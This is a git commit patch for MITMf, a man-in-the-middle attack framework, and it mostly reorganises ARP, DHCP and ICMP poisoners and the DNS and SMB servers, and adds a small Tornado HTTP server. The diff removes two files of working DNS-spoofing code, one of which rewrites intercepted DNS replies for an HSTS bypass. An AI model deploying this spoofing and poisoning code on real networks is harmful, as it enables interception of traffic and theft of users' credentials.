From 929520fcc856813576b67f1b50728407fa33d7a4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 22:43:43 +0200 Subject: [PATCH] Initial webserver implementation, plus organized directory structure a bit better --- core/{dnschef => poisoners}/__init__.py | 0 core/{protocols => poisoners}/arp/ARPWatch.py | 0 .../arp/ARPpoisoner.py | 0 core/{protocols => poisoners/arp}/__init__.py | 0 .../dhcp/DHCPpoisoner.py} | 2 +- .../arp => poisoners/dhcp}/__init__.py | 0 .../icmp/ICMPpoisoner.py | 0 .../dhcp => poisoners/icmp}/__init__.py | 0 core/protocols/dns/DNSServer.py | 101 -------------- core/protocols/dns/DNSnfqueue.py | 130 ------------------ core/{protocols/dns => servers}/__init__.py | 0 core/{dnschef => servers/dns}/CHANGELOG | 0 core/{dnschef => servers/dns}/DNSchef.py | 0 core/{dnschef => servers/dns}/LICENSE | 0 core/{dnschef => servers/dns}/README.md | 0 .../icmp => servers/dns}/__init__.py | 0 core/servers/http/HTTPServer.py | 21 +++ .../smb => servers/http}/__init__.py | 0 core/{protocols => servers}/smb/SMBPackets.py | 0 .../smb/SMBServer_Responder.py | 0 core/{protocols => servers}/smb/SMBserver.py | 0 core/servers/smb/__init__.py | 0 mitmf.py | 9 +- plugins/SSLstrip+.py | 2 +- plugins/Spoof.py | 10 +- plugins/TestPlugin.py | 18 +++ requirements.txt | 1 + 27 files changed, 54 insertions(+), 240 deletions(-) rename core/{dnschef => poisoners}/__init__.py (100%) rename core/{protocols => poisoners}/arp/ARPWatch.py (100%) rename core/{protocols => poisoners}/arp/ARPpoisoner.py (100%) rename core/{protocols => poisoners/arp}/__init__.py (100%) rename core/{protocols/dhcp/DHCPServer.py => poisoners/dhcp/DHCPpoisoner.py} (99%) rename core/{protocols/arp => poisoners/dhcp}/__init__.py (100%) rename core/{protocols => poisoners}/icmp/ICMPpoisoner.py (100%) rename core/{protocols/dhcp => poisoners/icmp}/__init__.py (100%) delete mode 100644 core/protocols/dns/DNSServer.py delete mode 100644 core/protocols/dns/DNSnfqueue.py rename core/{protocols/dns => servers}/__init__.py (100%) rename core/{dnschef => servers/dns}/CHANGELOG (100%) rename core/{dnschef => servers/dns}/DNSchef.py (100%) rename core/{dnschef => servers/dns}/LICENSE (100%) rename core/{dnschef => servers/dns}/README.md (100%) rename core/{protocols/icmp => servers/dns}/__init__.py (100%) create mode 100644 core/servers/http/HTTPServer.py rename core/{protocols/smb => servers/http}/__init__.py (100%) rename core/{protocols => servers}/smb/SMBPackets.py (100%) rename core/{protocols => servers}/smb/SMBServer_Responder.py (100%) rename core/{protocols => servers}/smb/SMBserver.py (100%) create mode 100644 core/servers/smb/__init__.py create mode 100644 plugins/TestPlugin.py diff --git a/core/dnschef/__init__.py b/core/poisoners/__init__.py similarity index 100% rename from core/dnschef/__init__.py rename to core/poisoners/__init__.py diff --git a/core/protocols/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py similarity index 100% rename from core/protocols/arp/ARPWatch.py rename to core/poisoners/arp/ARPWatch.py diff --git a/core/protocols/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py similarity index 100% rename from core/protocols/arp/ARPpoisoner.py rename to core/poisoners/arp/ARPpoisoner.py diff --git a/core/protocols/__init__.py b/core/poisoners/arp/__init__.py similarity index 100% rename from core/protocols/__init__.py rename to core/poisoners/arp/__init__.py diff --git a/core/protocols/dhcp/DHCPServer.py b/core/poisoners/dhcp/DHCPpoisoner.py similarity index 99% rename from core/protocols/dhcp/DHCPServer.py rename to core/poisoners/dhcp/DHCPpoisoner.py index 80ab8c6..aa23cc8 100644 --- a/core/protocols/dhcp/DHCPServer.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -8,7 +8,7 @@ from scapy.all import * mitmf_logger = logging.getLogger('mitmf') -class DHCPServer(): +class DHCPpoisoner(): def __init__(self, interface, dhcpcfg, ip, mac): self.interface = interface diff --git a/core/protocols/arp/__init__.py b/core/poisoners/dhcp/__init__.py similarity index 100% rename from core/protocols/arp/__init__.py rename to core/poisoners/dhcp/__init__.py diff --git a/core/protocols/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py similarity index 100% rename from core/protocols/icmp/ICMPpoisoner.py rename to core/poisoners/icmp/ICMPpoisoner.py diff --git a/core/protocols/dhcp/__init__.py b/core/poisoners/icmp/__init__.py similarity index 100% rename from core/protocols/dhcp/__init__.py rename to core/poisoners/icmp/__init__.py diff --git a/core/protocols/dns/DNSServer.py b/core/protocols/dns/DNSServer.py deleted file mode 100644 index 19ecd81..0000000 --- a/core/protocols/dns/DNSServer.py +++ /dev/null @@ -1,101 +0,0 @@ -################################################################################## -#DNS Stuff starts here(not Used) -################################################################################## - -#Function name self-explanatory - -class DNSServer(): - - def serve_thread_udp(host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) - - def start(DNS_On_Off): - if DNS_On_Off == "ON": - t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS)) - t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP)) - for t in [t1, t2]: - t.setDaemon(True) - t.start() - - if DNS_On_Off == "OFF": - return False - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - -#DNS Answer packet. -class DNSAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x10"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -# DNS Server class. -class DNS(BaseRequestHandler): - - def handle(self): - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - -class DNSTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - #print "DNS Answer sent to: %s "%(self.client_address[0]) - responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0])) - - except Exception: - pass - -################################################################################## -#DNS Stuff ends here (not Used) -################################################################################## \ No newline at end of file diff --git a/core/protocols/dns/DNSnfqueue.py b/core/protocols/dns/DNSnfqueue.py deleted file mode 100644 index ec1b255..0000000 --- a/core/protocols/dns/DNSnfqueue.py +++ /dev/null @@ -1,130 +0,0 @@ - -class DNSnfqueue(): - - hsts = False - dns = False - hstscfg = None - dnscfg = None - _instance = None - nfqueue = None - queue_number = 0 - - def __init__(self): - self.nfqueue = NetfilterQueue() - t = threading.Thread(name='nfqueue', target=self.bind, args=()) - t.setDaemon(True) - t.start() - - @staticmethod - def getInstance(): - if _DNS._instance is None: - _DNS._instance = _DNS() - - return _DNS._instance - - @staticmethod - def checkInstance(): - if _DNS._instance is None: - return False - else: - return True - - def bind(self): - self.nfqueue.bind(self.queue_number, self.callback) - self.nfqueue.run() - - def stop(self): - try: - self.nfqueue.unbind() - except: - pass - - def enableHSTS(self, config): - self.hsts = True - self.hstscfg = config - - def enableDNS(self, config): - self.dns = True - self.dnscfg = config - - def resolve_domain(self, domain): - try: - mitmf_logger.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - mitmf_logger.info("Error resolving " + domain) - - def callback(self, payload): - try: - #mitmf_logger.debug(payload) - pkt = IP(payload.get_payload()) - - if not pkt.haslayer(DNSQR): - payload.accept() - return - - if pkt.haslayer(DNSQR): - mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - return - - payload.accept() - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() - - except Exception, e: - print "Exception occurred in nfqueue callback: " + str(e) - - def modify_dns(self, payload, pkt, ip): - try: - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) \ No newline at end of file diff --git a/core/protocols/dns/__init__.py b/core/servers/__init__.py similarity index 100% rename from core/protocols/dns/__init__.py rename to core/servers/__init__.py diff --git a/core/dnschef/CHANGELOG b/core/servers/dns/CHANGELOG similarity index 100% rename from core/dnschef/CHANGELOG rename to core/servers/dns/CHANGELOG diff --git a/core/dnschef/DNSchef.py b/core/servers/dns/DNSchef.py similarity index 100% rename from core/dnschef/DNSchef.py rename to core/servers/dns/DNSchef.py diff --git a/core/dnschef/LICENSE b/core/servers/dns/LICENSE similarity index 100% rename from core/dnschef/LICENSE rename to core/servers/dns/LICENSE diff --git a/core/dnschef/README.md b/core/servers/dns/README.md similarity index 100% rename from core/dnschef/README.md rename to core/servers/dns/README.md diff --git a/core/protocols/icmp/__init__.py b/core/servers/dns/__init__.py similarity index 100% rename from core/protocols/icmp/__init__.py rename to core/servers/dns/__init__.py diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py new file mode 100644 index 0000000..ce3ba9a --- /dev/null +++ b/core/servers/http/HTTPServer.py @@ -0,0 +1,21 @@ +import tornado.ioloop +import tornado.web +import threading + +class HTTPServer: + + _instance = None + application = tornado.web.Application([]) + + @staticmethod + def getInstance(): + if HTTPServer._instance == None: + HTTPServer._instance = HTTPServer() + + return HTTPServer._instance + + def start(self, port=80): + self.application.listen(port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) + t.setDaemon(True) + t.start() diff --git a/core/protocols/smb/__init__.py b/core/servers/http/__init__.py similarity index 100% rename from core/protocols/smb/__init__.py rename to core/servers/http/__init__.py diff --git a/core/protocols/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py similarity index 100% rename from core/protocols/smb/SMBPackets.py rename to core/servers/smb/SMBPackets.py diff --git a/core/protocols/smb/SMBServer_Responder.py b/core/servers/smb/SMBServer_Responder.py similarity index 100% rename from core/protocols/smb/SMBServer_Responder.py rename to core/servers/smb/SMBServer_Responder.py diff --git a/core/protocols/smb/SMBserver.py b/core/servers/smb/SMBserver.py similarity index 100% rename from core/protocols/smb/SMBserver.py rename to core/servers/smb/SMBserver.py diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/mitmf.py b/mitmf.py index 6e21431..af53f6f 100755 --- a/mitmf.py +++ b/mitmf.py @@ -172,12 +172,17 @@ NetCreds().start(args.interface, myip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) +#Start the HTTP Server +from core.servers.http.HTTPServer import HTTPServer +HTTPServer.getInstance().start() +print "|_ HTTPserver online" + #Start the SMB server -from core.protocols.smb.SMBserver import SMBserver +from core.servers.smb.SMBserver import SMBserver print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index d3753ac..2acda8c 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -24,7 +24,7 @@ import logging from plugins.plugin import Plugin from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor -from core.dnschef.DNSchef import DNSChef +from core.servers.dns.DNSchef import DNSChef class HSTSbypass(Plugin): name = 'SSLstrip+' diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 4727fe5..02fcda9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -19,11 +19,11 @@ # from core.utils import SystemConfig, IpTables, shutdown -from core.protocols.arp.ARPpoisoner import ARPpoisoner -from core.protocols.arp.ARPWatch import ARPWatch -from core.dnschef.DNSchef import DNSChef -from core.protocols.dhcp.DHCPServer import DHCPServer -from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner +from core.poisoners.arp.ARPpoisoner import ARPpoisoner +from core.poisoners.arp.ARPWatch import ARPWatch +from core.servers.dns.DNSchef import DNSChef +from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner +from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin from scapy.all import * diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py new file mode 100644 index 0000000..cd470d5 --- /dev/null +++ b/plugins/TestPlugin.py @@ -0,0 +1,18 @@ +from plugins.plugin import Plugin +from core.servers.http.HTTPServer import HTTPServer +import tornado.web + +class TestPlugin(Plugin): + name = "testplugin" + optname = "test" + desc = "Plugin to test dynamically configuring the internal web server" + version = "0.1" + has_opts = False + + def initialize(self, options): + HTTPServer.getInstance().application.add_handlers('', [(r"/test", MainHandler)]) + +class MainHandler(tornado.web.RequestHandler): + def get(self): + print self.request + self.write("Hello World!") diff --git a/requirements.txt b/requirements.txt index 1df0c6a..05433f1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,4 +13,5 @@ service_identity watchdog impacket capstone +tornado pypcap \ No newline at end of file